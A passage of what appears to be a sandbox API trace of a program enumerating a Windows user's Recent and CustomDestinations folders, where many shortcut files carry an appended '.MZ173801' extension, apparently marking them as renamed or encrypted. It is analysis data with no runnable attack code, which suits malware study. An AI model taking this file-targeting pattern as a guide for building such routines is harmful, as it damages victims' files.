ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe959cb77, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="f01b4d95cf55d32a.customDestinations-ms", cAlternateFileName="F01B4D~1.CUS")) returned 1 [0153.193] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.193] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.193] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b77e1, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0xb6cf5ae9, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6cf5ae9, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="f18460fded109990.customDestinations-ms", cAlternateFileName="F18460~1.CUS")) returned 1 [0153.193] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.193] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.193] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b77e1, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0xb6cf5ae9, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6cf5ae9, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="f18460fded109990.customDestinations-ms", cAlternateFileName="F18460~1.CUS")) returned 0 [0153.193] GetLastError () returned 0x12 [0153.193] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0153.194] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xb6d1c405, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6d1c405, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xb6d1c405, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6d1c405, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bfc86f, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xa5bfc86f, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xa5bfc86f, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="28c8b86deab549a1.customDestinations-ms", cAlternateFileName="28C8B8~1.CUS")) returned 1 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3564a0f, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd3564a0f, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd3564a0f, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f404d4a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3fa2484c, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0x3fa2484c, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x4ef2, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="6824f4a902c78fbd.customDestinations-ms", cAlternateFileName="6824F4~1.CUS")) returned 1 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfad9510, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe96819d1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe96819d1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0effce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x98e794b5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x98f80fc0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="9d1f905ce5044aee.customDestinations-ms", cAlternateFileName="9D1F90~1.CUS")) returned 1 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe959cb77, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe959cb77, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="f01b4d95cf55d32a.customDestinations-ms", cAlternateFileName="F01B4D~1.CUS")) returned 1 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b77e1, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0xb6cf5ae9, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6cf5ae9, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="f18460fded109990.customDestinations-ms", cAlternateFileName="F18460~1.CUS")) returned 1 [0153.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.195] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.195] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b77e1, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0xb6cf5ae9, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6cf5ae9, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="f18460fded109990.customDestinations-ms", cAlternateFileName="F18460~1.CUS")) returned 0 [0153.195] GetLastError () returned 0x12 [0153.195] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0153.196] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d50ff2b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x6d50ff2b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82127773, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="CyPtYrEBdI9stHyXAH.lnk.MZ173801", cAlternateFileName="CYPTYR~1.MZ1")) returned 1 [0153.196] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.196] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.196] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b3f7b9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3b3f7b9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x8214d2ae, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2a6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="D7yD06jADs4bzbO.lnk.MZ173801", cAlternateFileName="D7YD06~1.MZ1")) returned 1 [0153.196] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.196] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.196] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x44111bf3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44111bf3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0153.196] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf33e61c0, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf33e61c0, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x821733b7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Dzl1T_E T7Ch1n.lnk.MZ173801", cAlternateFileName="DZL1T_~1.MZ1")) returned 1 [0153.196] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.196] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.196] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1219983, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1219983, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x821733b7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="EdrNe.lnk.MZ173801", cAlternateFileName="EDRNEL~1.MZ1")) returned 1 [0153.196] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.196] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.196] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5317325, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf5317325, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x821996db, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eh9nFqOb33ZYsx1OOIH.lnk.MZ173801", cAlternateFileName="EH9NFQ~1.MZ1")) returned 1 [0153.196] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.196] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.196] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b24d005, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4b24d005, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x821c0e99, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eIdmvaOqadIUE.lnk.MZ173801", cAlternateFileName="EIDMVA~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40fddc85, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x40fddc85, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x821c0e99, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eOmjS8.lnk.MZ173801", cAlternateFileName="EOMJS8~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x772ff930, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x772ff930, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x821e5a0f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fhSP KphnxTI.flv.lnk.MZ173801", cAlternateFileName="FHSPKP~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf086a0dd, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf086a0dd, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x821e5a0f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="FicTeeGg9cZ.lnk.MZ173801", cAlternateFileName="FICTEE~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47189a37, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x47189a37, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8220bd5d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="FLOta7xX0gkrp_QvZlm.lnk.MZ173801", cAlternateFileName="FLOTA7~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69dd0a54, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x69dd0a54, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82232014, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fnWHfWmALlcTd.lnk.MZ173801", cAlternateFileName="FNWHFW~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707687b6, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x707687b6, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82232014, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="FqOJo-o8.lnk.MZ173801", cAlternateFileName="FQOJO-~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41181662, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x41181662, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82258207, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="GE2XWZw-UJlajB.lnk.MZ173801", cAlternateFileName="GE2XWZ~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dddc3ca, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4dddc3ca, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82258207, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="gENSLI1SLB1QB.lnk.MZ173801", cAlternateFileName="GENSLI~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43dcae29, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x43dcae29, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8227e526, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Gsdux_nrV.lnk.MZ173801", cAlternateFileName="GSDUX_~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.197] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf353d724, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf353d724, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x822a6267, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="gypaWQDSFuYxA4ea_Oei.lnk.MZ173801", cAlternateFileName="GYPAWQ~1.MZ1")) returned 1 [0153.197] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.197] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, 